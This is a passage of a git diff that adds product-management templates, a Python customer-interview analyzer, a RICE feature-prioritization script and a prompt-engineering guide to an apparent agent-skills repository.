growth targets +- **Security**: Authentication, authorization, data protection +- **Reliability**: Uptime targets, error rates +- **Usability**: Accessibility standards, device support +- **Compliance**: Regulatory requirements + +### 5. Design & User Experience + +#### 5.1 Design Principles +- Principle 1: Description +- Principle 2: Description +- Principle 3: Description + +#### 5.2 Wireframes/Mockups +- Link to Figma/Sketch files +- Key screens and flows +- Interaction patterns + +#### 5.3 Information Architecture +- Navigation structure +- Data organization +- Content hierarchy + +### 6. Technical Specifications + +#### 6.1 Architecture Overview +- System architecture diagram +- Technology stack +- Integration points +- Data flow + +#### 6.2 API Design +- Endpoints and methods +- Request/response formats +- Authentication approach +- Rate limiting + +#### 6.3 Database Design +- Data model +- Key entities and relationships +- Migration strategy + +#### 6.4 Security Considerations +- Authentication method +- Authorization model +- Data encryption +- PII handling + +### 7. Go-to-Market Strategy + +#### 7.1 Launch Plan +- **Soft Launch**: Beta users, timeline +- **Full Launch**: All users, timeline +- **Marketing**: Campaigns and channels +- **Support**: Documentation and training + +#### 7.2 Pricing Strategy +- Pricing model +- Competitive analysis +- Value proposition + +#### 7.3 Success Metrics +| Metric | Target | Measurement Method | +|--------|--------|-------------------| +| Adoption Rate | X% | Daily Active Users | +| User Satisfaction | X/10 | NPS Score | +| Revenue Impact | $X | Monthly Recurring Revenue | +| Performance | <Xms | P95 Response Time | + +### 8. Risks & Mitigations + +| Risk | Probability | Impact | Mitigation Strategy | +|------|------------|--------|-------------------| +| Technical debt | Medium | High | Allocate 20% for refactoring | +| User adoption | Low | High | Beta program with feedback loops | +| Scope creep | High | Medium | Weekly stakeholder reviews | + +### 9. Timeline & Milestones + +| Milestone | Date | Deliverables | Success Criteria | +|-----------|------|--------------|-----------------| +| Design Complete | Week 2 | Mockups, IA | Stakeholder approval | +| MVP Development | Week 6 | Core features | All P0s complete | +| Beta Launch | Week 8 | Limited release | 100 beta users | +| Full Launch | Week 12 | General availability | <1% error rate | + +### 10. Team & Resources + +#### 10.1 Team Structure +- **Product Manager**: [Name] +- **Engineering Lead**: [Name] +- **Design Lead**: [Name] +- **Engineers**: X FTEs +- **QA**: X FTEs + +#### 10.2 Budget +- Development: $X +- Infrastructure: $X +- Marketing: $X +- Total: $X + +### 11. Appendix +- User Research Data +- Competitive Analysis +- Technical Diagrams +- Legal/Compliance Docs + +--- + +## Agile Epic Template + +### Epic: [Epic Name] + +#### Overview +**Epic ID**: EPIC-XXX +**Theme**: [Product Theme] +**Quarter**: QX 20XX +**Status**: Discovery | In Progress | Complete + +#### Problem Statement +[2-3 sentences describing the problem] + +#### Goals & Objectives +1. Objective 1 +2. Objective 2 +3. Objective 3 + +#### Success Metrics +- Metric 1: Target +- Metric 2: Target +- Metric 3: Target + +#### User Stories +| Story ID | Title | Priority | Points | Status | +|----------|-------|----------|--------|--------| +| US-001 | As a... | P0 | 5 | To Do | +| US-002 | As a... | P1 | 3 | To Do | + +#### Dependencies +- Dependency 1: Team/System +- Dependency 2: Team/System + +#### Acceptance Criteria +- [ ] All P0 stories complete +- [ ] Performance targets met +- [ ] Security review passed +- [ ] Documentation updated + +--- + +## One-Page PRD Template + +### [Feature Name] - One-Page PRD + +**Date**: [Date] +**Author**: [PM Name] +**Status**: Draft | In Review | Approved + +#### Problem +*What problem are we solving? For whom?* +[2-3 sentences] + +#### Solution +*What are we building?* +[2-3 sentences] + +#### Why Now? +*What's driving urgency?* +- Reason 1 +- Reason 2 +- Reason 3 + +#### Success Metrics +| Metric | Current | Target | +|--------|---------|--------| +| KPI 1 | X | Y | +| KPI 2 | X | Y | + +#### Scope +**In**: Feature 1, Feature 2, Feature 3 +**Out**: Feature A, Feature B + +#### User Flow +``` +Step 1 → Step 2 → Step 3 → Success! +``` + +#### Risks +1. Risk 1 → Mitigation +2. Risk 2 → Mitigation + +#### Timeline +- Design: Week 1-2 +- Development: Week 3-6 +- Testing: Week 7 +- Launch: Week 8 + +#### Resources +- Engineering: X developers +- Design: X designer +- QA: X tester + +#### Open Questions +1. Question 1? +2. Question 2? + +--- + +## Feature Brief Template (Lightweight) + +### Feature: [Name] + +#### Context +*Why are we considering this?* + +#### Hypothesis +*We believe that [building this feature] +For [these users] +Will [achieve this outcome] +We'll know we're right when [we see this metric]* + +#### Proposed Solution +*High-level approach* + +#### Effort Estimate +- **Size**: XS | S | M | L | XL +- **Confidence**: High | Medium | Low + +#### Next Steps +1. [ ] User research +2. [ ] Design exploration +3. [ ] Technical spike +4. [ ] Stakeholder review diff --git a/skills/product-manager-toolkit/scripts/customer_interview_analyzer.py b/skills/product-manager-toolkit/scripts/customer_interview_analyzer.py new file mode 100644 index 00000000..cd56a8d2 --- /dev/null +++ b/skills/product-manager-toolkit/scripts/customer_interview_analyzer.py @@ -0,0 +1,441 @@ +#!/usr/bin/env python3 +""" +Customer Interview Analyzer +Extracts insights, patterns, and opportunities from user interviews +""" + +import re +from typing import Dict, List, Tuple, Set +from collections import Counter, defaultdict +import json + +class InterviewAnalyzer: + """Analyze customer interviews for insights and patterns""" + + def __init__(self): + # Pain point indicators + self.pain_indicators = [ + 'frustrat', 'annoy', 'difficult', 'hard', 'confus', 'slow', + 'problem', 'issue', 'struggle', 'challeng', 'pain', 'waste', + 'manual', 'repetitive', 'tedious', 'boring', 'time-consuming', + 'complicated', 'complex', 'unclear', 'wish', 'need', 'want' + ] + + # Positive indicators + self.delight_indicators = [ + 'love', 'great', 'awesome', 'amazing', 'perfect', 'easy', + 'simple', 'quick', 'fast', 'helpful', 'useful', 'valuable', + 'save', 'efficient', 'convenient', 'intuitive', 'clear' + ] + + # Feature request indicators + self.request_indicators = [ + 'would be nice', 'wish', 'hope', 'want', 'need', 'should', + 'could', 'would love', 'if only', 'it would help', 'suggest', + 'recommend', 'idea', 'what if', 'have you considered' + ] + + # Jobs to be done patterns + self.jtbd_patterns = [ + r'when i\s+(.+?),\s+i want to\s+(.+?)\s+so that\s+(.+)', + r'i need to\s+(.+?)\s+because\s+(.+)', + r'my goal is to\s+(.+)', + r'i\'m trying to\s+(.+)', + r'i use \w+ to\s+(.+)', + r'helps me\s+(.+)', + ] + + def analyze_interview(self, text: str) -> Dict: + """Analyze a single interview transcript""" + text_lower = text.lower() + sentences = self._split_sentences(text) + + analysis = { + 'pain_points': self._extract_pain_points(sentences), + 'delights': self._extract_delights(sentences), + 'feature_requests': self._extract_requests(sentences), + 'jobs_to_be_done': self._extract_jtbd(text_lower), + 'sentiment_score': self._calculate_sentiment(text_lower), + 'key_themes': self._extract_themes(text_lower), + 'quotes': self._extract_key_quotes(sentences), + 'metrics_mentioned': self._extract_metrics(text), + 'competitors_mentioned': self._extract_competitors(text) + } + + return analysis + + def _split_sentences(self, text: str) -> List[str]: + """Split text into sentences""" + # Simple sentence splitting + sentences = re.split(r'[.!?]+', text) + return [s.strip() for s in sentences if s.strip()] + + def _extract_pain_points(self, sentences: List[str]) -> List[Dict]: + """Extract pain points from sentences""" + pain_points = [] + + for sentence in sentences: + sentence_lower = sentence.lower() + for indicator in self.pain_indicators: + if indicator in sentence_lower: + # Extract context around the pain point + pain_points.append({ + 'quote': sentence, + 'indicator': indicator, + 'severity': self._assess_severity(sentence_lower) + }) + break + + return pain_points[:10] # Return top 10 + + def _extract_delights(self, sentences: List[str]) -> List[Dict]: + """Extract positive feedback""" + delights = [] + + for sentence in sentences: + sentence_lower = sentence.lower() + for indicator in self.delight_indicators: + if indicator in sentence_lower: + delights.append({ + 'quote': sentence, + 'indicator': indicator, + 'strength': self._assess_strength(sentence_lower) + }) + break + + return delights[:10] + + def _extract_requests(self, sentences: List[str]) -> List[Dict]: + """Extract feature requests and suggestions""" + requests = [] + + for sentence in sentences: + sentence_lower = sentence.lower() + for indicator in self.request_indicators: + if indicator in sentence_lower: + requests.append({ + 'quote': sentence, + 'type': self._classify_request(sentence_lower), + 'priority': self._assess_request_priority(sentence_lower) + }) + break + + return requests[:10] + + def _extract_jtbd(self, text: str) -> List[Dict]: + """Extract Jobs to Be Done patterns""" + jobs = [] + + for pattern in self.jtbd_patterns: + matches = re.findall(pattern, text, re.IGNORECASE) + for match in matches: + if isinstance(match, tuple): + job = ' → '.join(match) + else: + job = match + + jobs.append({ + 'job': job, + 'pattern': pattern.pattern if hasattr(pattern, 'pattern') else pattern + }) + + return jobs[:5] + + def _calculate_sentiment(self, text: str) -> Dict: + """Calculate overall sentiment of the interview""" + positive_count = sum(1 for ind in self.delight_indicators if ind in text) + negative_count = sum(1 for ind in self.pain_indicators if ind in text) + + total = positive_count + negative_count + if total == 0: + sentiment_score = 0 + else: + sentiment_score = (positive_count - negative_count) / total + + if sentiment_score > 0.3: + sentiment_label = 'positive' + elif sentiment_score < -0.3: + sentiment_label = 'negative' + else: + sentiment_label = 'neutral' + + return { + 'score': round(sentiment_score, 2), + 'label': sentiment_label, + 'positive_signals': positive_count, + 'negative_signals': negative_count + } + + def _extract_themes(self, text: str) -> List[str]: + """Extract key themes using word frequency""" + # Remove common words + stop_words = {'the', 'a', 'an', 'and', 'or', 'but', 'in', 'on', 'at', + 'to', 'for', 'of', 'with', 'by', 'from', 'as', 'is', + 'was', 'are', 'were', 'been', 'be', 'have', 'has', + 'had', 'do', 'does', 'did', 'will', 'would', 'could', + 'should', 'may', 'might', 'must', 'can', 'shall', + 'it', 'i', 'you', 'we', 'they', 'them', 'their'} + + # Extract meaningful words + words = re.findall(r'\b[a-z]{4,}\b', text) + meaningful_words = [w for w in words if w not in stop_words] + + # Count frequency + word_freq = Counter(meaningful_words) + + # Extract themes (top frequent meaningful words) + themes = [word for word, count in word_freq.most_common(10) if count >= 3] + + return themes + + def _extract_key_quotes(self, sentences: List[str]) -> List[str]: + """Extract the most insightful quotes""" + scored_sentences = [] + + for sentence in sentences: + if len(sentence) < 20 or len(sentence) > 200: + continue + + score = 0 + sentence_lower = sentence.lower() + + # Score based on insight indicators + if any(ind in sentence_lower for ind in self.pain_indicators): + score += 2 + if any(ind in sentence_lower for ind in self.request_indicators): + score += 2 + if 'because' in sentence_lower: + score += 1 + if 'but' in sentence_lower: + score += 1 + if '?' in sentence: + score += 1 + + if score > 0: + scored_sentences.append((score, sentence)) + + # Sort by score and return top quotes + scored_sentences.sort(reverse=True) + return [s[1] for s in scored_sentences[:5]] + + def _extract_metrics(self, text: str) -> List[str]: + """Extract any metrics or numbers mentioned""" + metrics = [] + + # Find percentages + percentages = re.findall(r'\d+%', text) + metrics.extend(percentages) + + # Find time metrics + time_metrics = re.findall(r'\d+\s*(?:hours?|minutes?|days?|weeks?|months?)', text, re.IGNORECASE) + metrics.extend(time_metrics) + + # Find money metrics + money_metrics = re.findall(r'\$[\d,]+', text) + metrics.extend(money_metrics) + + # Find general numbers with context + number_contexts = re.findall(r'(\d+)\s+(\w+)', text) + for num, context in number_contexts: + if context.lower() not in ['the', 'a', 'an', 'and', 'or', 'of']: + metrics.append(f"{num} {context}") + + return list(set(metrics))[:10] + + def _extract_competitors(self, text: str) -> List[str]: + """Extract competitor mentions""" + # Common competitor indicators + competitor_patterns = [ + r'(?:use|used|using|tried|trying|switch from|switched from|instead of)\s+(\w+)', + r'(\w+)\s+(?:is better|works better|is easier)', + r'compared to\s+(\w+)', + r'like\s+(\w+)', + r'similar to\s+(\w+)', + ] + + competitors = set() + for pattern in competitor_patterns: + matches = re.findall(pattern, text, re.IGNORECASE) + competitors.update(matches) + + # Filter out common words + common_words = {'this', 'that', 'it', 'them', 'other', 'another', 'something'} + competitors = [c for c in competitors if c.lower() not in common_words and len(c) > 2] + + return list(competitors)[:5] + + def _assess_severity(self, text: str) -> str: + """Assess severity of pain point""" + if any(word in text for word in ['very', 'extremely', 'really', 'totally', 'completely']): + return 'high' + elif any(word in text for word in ['somewhat', 'bit', 'little', 'slightly']): + return 'low' + return 'medium' + + def _assess_strength(self, text: str) -> str: + """Assess strength of positive feedback""" + if any(word in text for word in ['absolutely', 'definitely', 'really', 'very']): + return 'strong' + return 'moderate' + + def _classify_request(self, text: str) -> str: + """Classify the type of request""" + if any(word in text for word in ['ui', 'design', 'look', 'color', 'layout']): + return 'ui_improvement' + elif any(word in text for word in ['feature', 'add', 'new', 'build']): + return 'new_feature' + elif any(word in text for word in ['fix', 'bug', 'broken', 'work']): + return 'bug_fix' + elif any(word in text for word in ['faster', 'slow', 'performance', 'speed']): + return 'performance' + return 'general' + + def _assess_request_priority(self, text: str) -> str: + """Assess priority of request""" + if any(word in text for word in ['critical', 'urgent', 'asap', 'immediately', 'blocking']): + return 'critical' + elif any(word in text for word in ['need', 'important', 'should', 'must']): + return 'high' + elif any(word in text for word in ['nice', 'would', 'could', 'maybe']): + return 'low' + return 'medium' + +def aggregate_interviews(interviews: List[Dict]) -> Dict: + """Aggregate insights from multiple interviews""" + aggregated = { + 'total_interviews': len(interviews), + 'common_pain_points': defaultdict(list), + 'common_requests': defaultdict(list), + 'jobs_to_be_done': [], + 'overall_sentiment': { + 'positive': 0, + 'negative': 0, + 'neutral': 0 + }, + 'top_themes': Counter(), + 'metrics_summary': set(), + 'competitors_mentioned': Counter() + } + + for interview in interviews: + # Aggregate pain points + for pain in interview.get('pain_points', []): + indicator = pain.get('indicator', 'unknown') + aggregated['common_pain_points'][indicator].append(pain['quote']) + + # Aggregate requests + for request in interview.get('feature_requests', []): + req_type = request.get('type', 'general') + aggregated['common_requests'][req_type].append(request['quote']) + + # Aggregate JTBD + aggregated['jobs_to_be_done'].extend(interview.get('jobs_to_be_done', [])) + + # Aggregate sentiment + sentiment = interview.get('sentiment_score', {}).get('label', 'neutral') + aggregated['overall_sentiment'][sentiment] += 1 + + # Aggregate themes + for theme in interview.get('key_themes', []): + aggregated['top_themes'][theme] += 1 + + # Aggregate metrics + aggregated['metrics_summary'].update(interview.get('metrics_mentioned', [])) + + # Aggregate competitors + for competitor in interview.get('competitors_mentioned', []): + aggregated['competitors_mentioned'][competitor] += 1 + + # Process aggregated data + aggregated['common_pain_points'] = dict(aggregated['common_pain_points']) + aggregated['common_requests'] = dict(aggregated['common_requests']) + aggregated['top_themes'] = dict(aggregated['top_themes'].most_common(10)) + aggregated['metrics_summary'] = list(aggregated['metrics_summary']) + aggregated['competitors_mentioned'] = dict(aggregated['competitors_mentioned']) + + return aggregated + +def format_single_interview(analysis: Dict) -> str: + """Format single interview analysis""" + output = ["=" * 60] + output.append("CUSTOMER INTERVIEW ANALYSIS") + output.append("=" * 60) + + # Sentiment + sentiment = analysis['sentiment_score'] + output.append(f"\n📊 Overall Sentiment: {sentiment['label'].upper()}") + output.append(f" Score: {sentiment['score']}") + output.append(f" Positive signals: {sentiment['positive_signals']}") + output.append(f" Negative signals: {sentiment['negative_signals']}") + + # Pain Points + if analysis['pain_points']: + output.append("\n🔥 Pain Points Identified:") + for i, pain in enumerate(analysis['pain_points'][:5], 1): + output.append(f"\n{i}. [{pain['severity'].upper()}] {pain['quote'][:100]}...") + + # Feature Requests + if analysis['feature_requests']: + output.append("\n💡 Feature Requests:") + for i, req in enumerate(analysis['feature_requests'][:5], 1): + output.append(f"\n{i}. [{req['type']}] Priority: {req['priority']}") + output.append(f" \"{req['quote'][:100]}...\"") + + # Jobs to Be Done + if analysis['jobs_to_be_done']: + output.append("\n🎯 Jobs to Be Done:") + for i, job in enumerate(analysis['jobs_to_be_done'], 1): + output.append(f"{i}. {job['job']}") + + # Key Themes + if analysis['key_themes']: + output.append("\n🏷️ Key Themes:") + output.append(", ".join(analysis['key_themes'])) + + # Key Quotes + if analysis['quotes']: + output.append("\n💬 Key Quotes:") + for i, quote in enumerate(analysis['quotes'][:3], 1): + output.append(f'{i}. "{quote}"') + + # Metrics + if analysis['metrics_mentioned']: + output.append("\n📈 Metrics Mentioned:") + output.append(", ".join(analysis['metrics_mentioned'])) + + # Competitors + if analysis['competitors_mentioned']: + output.append("\n🏢 Competitors Mentioned:") + output.append(", ".join(analysis['competitors_mentioned'])) + + return "\n".join(output) + +def main(): + import sys + + if len(sys.argv) < 2: + print("Usage: python customer_interview_analyzer.py <interview_file.txt>") + print("\nThis tool analyzes customer interview transcripts to extract:") + print(" - Pain points and frustrations") + print(" - Feature requests and suggestions") + print(" - Jobs to be done") + print(" - Sentiment analysis") + print(" - Key themes and quotes") + sys.exit(1) + + # Read interview transcript + with open(sys.argv[1], 'r') as f: + interview_text = f.read() + + # Analyze + analyzer = InterviewAnalyzer() + analysis = analyzer.analyze_interview(interview_text) + + # Output + if len(sys.argv) > 2 and sys.argv[2] == 'json': + print(json.dumps(analysis, indent=2)) + else: + print(format_single_interview(analysis)) + +if __name__ == "__main__": + main() diff --git a/skills/product-manager-toolkit/scripts/rice_prioritizer.py b/skills/product-manager-toolkit/scripts/rice_prioritizer.py new file mode 100644 index 00000000..5e6f2574 --- /dev/null +++ b/skills/product-manager-toolkit/scripts/rice_prioritizer.py @@ -0,0 +1,296 @@ +#!/usr/bin/env python3 +""" +RICE Prioritization Framework +Calculates RICE scores for feature prioritization +RICE = (Reach x Impact x Confidence) / Effort +""" + +import json +import csv +from typing import List, Dict, Tuple +import argparse + +class RICECalculator: + """Calculate RICE scores for feature prioritization""" + + def __init__(self): + self.impact_map = { + 'massive': 3.0, + 'high': 2.0, + 'medium': 1.0, + 'low': 0.5, + 'minimal': 0.25 + } + + self.confidence_map = { + 'high': 100, + 'medium': 80, + 'low': 50 + } + + self.effort_map = { + 'xl': 13, + 'l': 8, + 'm': 5, + 's': 3, + 'xs': 1 + } + + def calculate_rice(self, reach: int, impact: str, confidence: str, effort: str) -> float: + """ + Calculate RICE score + + Args: + reach: Number of users/customers affected per quarter + impact: massive/high/medium/low/minimal + confidence: high/medium/low (percentage) + effort: xl/l/m/s/xs (person-months) + """ + impact_score = self.impact_map.get(impact.lower(), 1.0) + confidence_score = self.confidence_map.get(confidence.lower(), 50) / 100 + effort_score = self.effort_map.get(effort.lower(), 5) + + if effort_score == 0: + return 0 + + rice_score = (reach * impact_score * confidence_score) / effort_score + return round(rice_score, 2) + + def prioritize_features(self, features: List[Dict]) -> List[Dict]: + """ + Calculate RICE scores and rank features + + Args: + features: List of feature dictionaries with RICE components + """ + for feature in features: + feature['rice_score'] = self.calculate_rice( + feature.get('reach', 0), + feature.get('impact', 'medium'), + feature.get('confidence', 'medium'), + feature.get('effort', 'm') + ) + + # Sort by RICE score descending + return sorted(features, key=lambda x: x['rice_score'], reverse=True) + + def analyze_portfolio(self, features: List[Dict]) -> Dict: + """ + Analyze the feature portfolio for balance and insights + """ + if not features: + return {} + + total_effort = sum( + self.effort_map.get(f.get('effort', 'm').lower(), 5) + for f in features + ) + + total_reach = sum(f.get('reach', 0) for f in features) + + effort_distribution = {} + impact_distribution = {} + + for feature in features: + effort = feature.get('effort', 'm').lower() + impact = feature.get('impact', 'medium').lower() + + effort_distribution[effort] = effort_distribution.get(effort, 0) + 1 + impact_distribution[impact] = impact_distribution.get(impact, 0) + 1 + + # Calculate quick wins (high impact, low effort) + quick_wins = [ + f for f in features + if f.get('impact', '').lower() in ['massive', 'high'] + and f.get('effort', '').lower() in ['xs', 's'] + ] + + # Calculate big bets (high impact, high effort) + big_bets = [ + f for f in features + if f.get('impact', '').lower() in ['massive', 'high'] + and f.get('effort', '').lower() in ['l', 'xl'] + ] + + return { + 'total_features': len(features), + 'total_effort_months': total_effort, + 'total_reach': total_reach, + 'average_rice': round(sum(f['rice_score'] for f in features) / len(features), 2), + 'effort_distribution': effort_distribution, + 'impact_distribution': impact_distribution, + 'quick_wins': len(quick_wins), + 'big_bets': len(big_bets), + 'quick_wins_list': quick_wins[:3], # Top 3 quick wins + 'big_bets_list': big_bets[:3] # Top 3 big bets + } + + def generate_roadmap(self, features: List[Dict], team_capacity: int = 10) -> List[Dict]: + """ + Generate a quarterly roadmap based on team capacity + + Args: + features: Prioritized feature list + team_capacity: Person-months available per quarter + """ + quarters = [] + current_quarter = { + 'quarter': 1, + 'features': [], + 'capacity_used': 0, + 'capacity_available': team_capacity + } + + for feature in features: + effort = self.effort_map.get(feature.get('effort', 'm').lower(), 5) + + if current_quarter['capacity_used'] + effort <= team_capacity: + current_quarter['features'].append(feature) + current_quarter['capacity_used'] += effort + else: + # Move to next quarter + current_quarter['capacity_available'] = team_capacity - current_quarter['capacity_used'] + quarters.append(current_quarter) + + current_quarter = { + 'quarter': len(quarters) + 1, + 'features': [feature], + 'capacity_used': effort, + 'capacity_available': team_capacity - effort + } + + if current_quarter['features']: + current_quarter['capacity_available'] = team_capacity - current_quarter['capacity_used'] + quarters.append(current_quarter) + + return quarters + +def format_output(features: List[Dict], analysis: Dict, roadmap: List[Dict]) -> str: + """Format the results for display""" + output = ["=" * 60] + output.append("RICE PRIORITIZATION RESULTS") + output.append("=" * 60) + + # Top prioritized features + output.append("\n📊 TOP PRIORITIZED FEATURES\n") + for i, feature in enumerate(features[:10], 1): + output.append(f"{i}. {feature.get('name', 'Unnamed')}") + output.append(f" RICE Score: {feature['rice_score']}") + output.append(f" Reach: {feature.get('reach', 0)} | Impact: {feature.get('impact', 'medium')} | " + f"Confidence: {feature.get('confidence', 'medium')} | Effort: {feature.get('effort', 'm')}") + output.append("") + + # Portfolio analysis + output.append("\n📈 PORTFOLIO ANALYSIS\n") + output.append(f"Total Features: {analysis.get('total_features', 0)}") + output.append(f"Total Effort: {analysis.get('total_effort_months', 0)} person-months") + output.append(f"Total Reach: {analysis.get('total_reach', 0):,} users") + output.append(f"Average RICE Score: {analysis.get('average_rice', 0)}") + + output.append(f"\n🎯 Quick Wins: {analysis.get('quick_wins', 0)} features") + for qw in analysis.get('quick_wins_list', []): + output.append(f" • {qw.get('name', 'Unnamed')} (RICE: {qw['rice_score']})") + + output.append(f"\n🚀 Big Bets: {analysis.get('big_bets', 0)} features") + for bb in analysis.get('big_bets_list', []): + output.append(f" • {bb.get('name', 'Unnamed')} (RICE: {bb['rice_score']})") + + # Roadmap + output.append("\n\n📅 SUGGESTED ROADMAP\n") + for quarter in roadmap: + output.append(f"\nQ{quarter['quarter']} - Capacity: {quarter['capacity_used']}/{quarter['capacity_used'] + quarter['capacity_available']} person-months") + for feature in quarter['features']: + output.append(f" • {feature.get('name', 'Unnamed')} (RICE: {feature['rice_score']})") + + return "\n".join(output) + +def load_features_from_csv(filepath: str) -> List[Dict]: + """Load features from CSV file""" + features = [] + with open(filepath, 'r') as f: + reader = csv.DictReader(f) + for row in reader: + feature = { + 'name': row.get('name', ''), + 'reach': int(row.get('reach', 0)), + 'impact': row.get('impact', 'medium'), + 'confidence': row.get('confidence', 'medium'), + 'effort': row.get('effort', 'm'), + 'description': row.get('description', '') + } + features.append(feature) + return features + +def create_sample_csv(filepath: str): + """Create a sample CSV file for testing""" + sample_features = [ + ['name', 'reach', 'impact', 'confidence', 'effort', 'description'], + ['User Dashboard Redesign', '5000', 'high', 'high', 'l', 'Complete redesign of user dashboard'], + ['Mobile Push Notifications', '10000', 'massive', 'medium', 'm', 'Add push notification support'], + ['Dark Mode', '8000', 'medium', 'high', 's', 'Implement dark mode theme'], + ['API Rate Limiting', '2000', 'low', 'high', 'xs', 'Add rate limiting to API'], + ['Social Login', '12000', 'high', 'medium', 'm', 'Add Google/Facebook login'], + ['Export to PDF', '3000', 'medium', 'low', 's', 'Export reports as PDF'], + ['Team Collaboration', '4000', 'massive', 'low', 'xl', 'Real-time collaboration features'], + ['Search Improvements', '15000', 'high', 'high', 'm', 'Enhance search functionality'], + ['Onboarding Flow', '20000', 'massive', 'high', 's', 'Improve new user onboarding'], + ['Analytics Dashboard', '6000', 'high', 'medium', 'l', 'Advanced analytics for users'], + ] + + with open(filepath, 'w', newline='') as f: + writer = csv.writer(f) + writer.writerows(sample_features) + + print(f"Sample CSV created at: {filepath}") + +def main(): + parser = argparse.ArgumentParser(description='RICE Framework for Feature Prioritization') + parser.add_argument('input', nargs='?', help='CSV file with features or "sample" to create sample') + parser.add_argument('--capacity', type=int, default=10, help='Team capacity per quarter (person-months)') + parser.add_argument('--output', choices=['text', 'json', 'csv'], default='text', help='Output format') + + args = parser.parse_args() + + # Create sample if requested + if args.input == 'sample': + create_sample_csv('sample_features.csv') + return + + # Use sample data if no input provided + if not args.input: + features = [ + {'name': 'User Dashboard', 'reach': 5000, 'impact': 'high', 'confidence': 'high', 'effort': 'l'}, + {'name': 'Push Notifications', 'reach': 10000, 'impact': 'massive', 'confidence': 'medium', 'effort': 'm'}, + {'name': 'Dark Mode', 'reach': 8000, 'impact': 'medium', 'confidence': 'high', 'effort': 's'}, + {'name': 'API Rate Limiting', 'reach': 2000, 'impact': 'low', 'confidence': 'high', 'effort': 'xs'}, + {'name': 'Social Login', 'reach': 12000, 'impact': 'high', 'confidence': 'medium', 'effort': 'm'}, + ] + else: + features = load_features_from_csv(args.input) + + # Calculate RICE scores + calculator = RICECalculator() + prioritized = calculator.prioritize_features(features) + analysis = calculator.analyze_portfolio(prioritized) + roadmap = calculator.generate_roadmap(prioritized, args.capacity) + + # Output results + if args.output == 'json': + result = { + 'features': prioritized, + 'analysis': analysis, + 'roadmap': roadmap + } + print(json.dumps(result, indent=2)) + elif args.output == 'csv': + # Output prioritized features as CSV + if prioritized: + keys = prioritized[0].keys() + print(','.join(keys)) + for feature in prioritized: + print(','.join(str(feature.get(k, '')) for k in keys)) + else: + print(format_output(prioritized, analysis, roadmap)) + +if __name__ == "__main__": + main() diff --git a/skills/prompt-engineering/SKILL.md b/skills/prompt-engineering/SKILL.md new file mode 100644 index 00000000..6b69c56e --- /dev/null +++ b/skills/prompt-engineering/SKILL.md @@ -0,0 +1,171 @@ +--- +name: prompt-engineering +description: Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior. +--- + +# Prompt Engineering Patterns + +Advanced prompt engineering techniques to maximize LLM performance, reliability, and controllability. + +## Core Capabilities + +### 1. Few-Shot Learning + +Teach the model by showing examples instead of explaining rules. Include 2-5 input-output pairs that demonstrate the desired behavior. Use when you need consistent formatting, specific reasoning patterns, or handling of edge cases. More examples improve accuracy but consume tokens—balance based on task complexity. + +**Example:** + +```markdown +Extract key information from support tickets: + +Input: "My login doesn't work and I keep getting error 403" +Output: {"issue": "authentication", "error_code": "403", "priority": "high"} + +Input: "Feature request: add dark mode to settings" +Output: {"issue": "feature_request", "error_code": null, "priority": "low"} + +Now process: "Can't upload files larger than 10MB, getting timeout" +``` + +### 2. Chain-of-Thought Prompting + +Request step-by-step reasoning before the final answer. Add "Let's think step by step" (zero-shot) or include example reasoning traces (few-shot). Use for complex problems requiring multi-step logic, mathematical reasoning, or when you need to verify the model's thought process. Improves accuracy on analytical tasks by 30-50%. + +**Example:** + +```markdown +Analyze this bug report and determine root cause. + +Think step by step: + +1. What is the expected behavior? +2. What is the actual behavior? +3. What changed recently that could cause this? +4. What components are involved? +5. What is the most likely root cause? + +Bug: "Users can't save drafts after the cache update deployed yesterday" +``` + +### 3. Prompt Optimization + +Systematically improve prompts through testing and refinement. Start simple, measure performance (accuracy, consistency, token usage), then iterate. Test on diverse inputs including edge cases. Use A/B testing to compare variations. Critical for production prompts where consistency and cost matter. + +**Example:** + +```markdown +Version 1 (Simple): "Summarize this article" +→ Result: Inconsistent length, misses key points + +Version 2 (Add constraints): "Summarize in 3 bullet points" +→ Result: Better structure, but still misses nuance + +Version 3 (Add reasoning): "Identify the 3 main findings, then summarize each" +→ Result: Consistent, accurate, captures key information +``` + +### 4. Template Systems + +Build reusable prompt structures with variables, conditional sections, and modular components. Use for multi-turn conversations, role-based interactions, or when the same pattern applies to different inputs. Reduces duplication and ensures consistency across similar tasks. + +**Example:** + +```python +# Reusable code review template +template = """ +Review this {language} code for {focus_area}. + +Code: +{code_block} + +Provide feedback on: +{checklist} +""" + +# Usage +prompt = template.format( + language="Python", + focus_area="security vulnerabilities", + code_block=user_code, + checklist="1. SQL injection\n2. XSS risks\n3. Authentication" +) +``` + +### 5. System Prompt Design + +Set global behavior and constraints that persist across the conversation. Define the model's role, expertise level, output format, and safety guidelines. Use system prompts for stable instructions that shouldn't change turn-to-turn, freeing up user message tokens for variable content. + +**Example:** + +```markdown +System: You are a senior backend engineer specializing in API design. + +Rules: + +- Always consider scalability and performance +- Suggest RESTful patterns by default +- Flag security concerns immediately +- Provide code examples in Python +- Use early return pattern + +Format responses as: + +1. Analysis +2. Recommendation +3. Code example +4. Trade-offs +``` + +## Key Patterns + +### Progressive Disclosure + +Start with simple prompts, add complexity only when needed: + +1. **Level 1**: Direct instruction + + - "Summarize this article" + +2. **Level 2**: Add constraints + + - "Summarize this article in 3 bullet points, focusing on key findings" + +3. **Level 3**: Add reasoning + + - "Read this article, identify the main findings, then summarize in 3 bullet points" + +4. **Level 4**: Add examples + - Include 2-3 example summaries with input-output pairs + +### Instruction Hierarchy + +``` +[System Context] → [Task Instruction] → [Examples] → [Input Data] → [Output Format] +``` + +### Error Recovery + +Build prompts that gracefully handle failures: + +- Include fallback instructions +- Request confidence scores +- Ask for alternative interpretations when uncertain +- Specify how to indicate missing information + +## Best Practices + +1. **Be Specific**: Vague prompts produce inconsistent results +2. **Show, Don't Tell**: Examples are more effective than descriptions +3. **Test Extensively**: Evaluate on diverse, representative inputs +4. **Iterate Rapidly**: Small changes can have large impacts +5. **Monitor Performance**: Track metrics in production +6. **Version Control**: Treat prompts as code with proper versioning +7. **Document Intent**: Explain why prompts are structured as they are + +## Common Pitfalls + +- **Over-engineering**: Starting with complex prompts before trying simple ones +- **Example pollution**: Using examples that don't match the target task +- **Context overflow**: Exceeding token limits with excessive examples +- **Ambiguous instructions**: Leaving room for multiple interpretations +- **Ignoring edge cases**: Not testing on unusual or boundary inputs diff --git a/skills/react-ui-patterns/SKILL.md b/skills/react-ui-patterns/SKILL.md new file mode 100644 index 00000000..b33c3768 --- /dev/null +++ 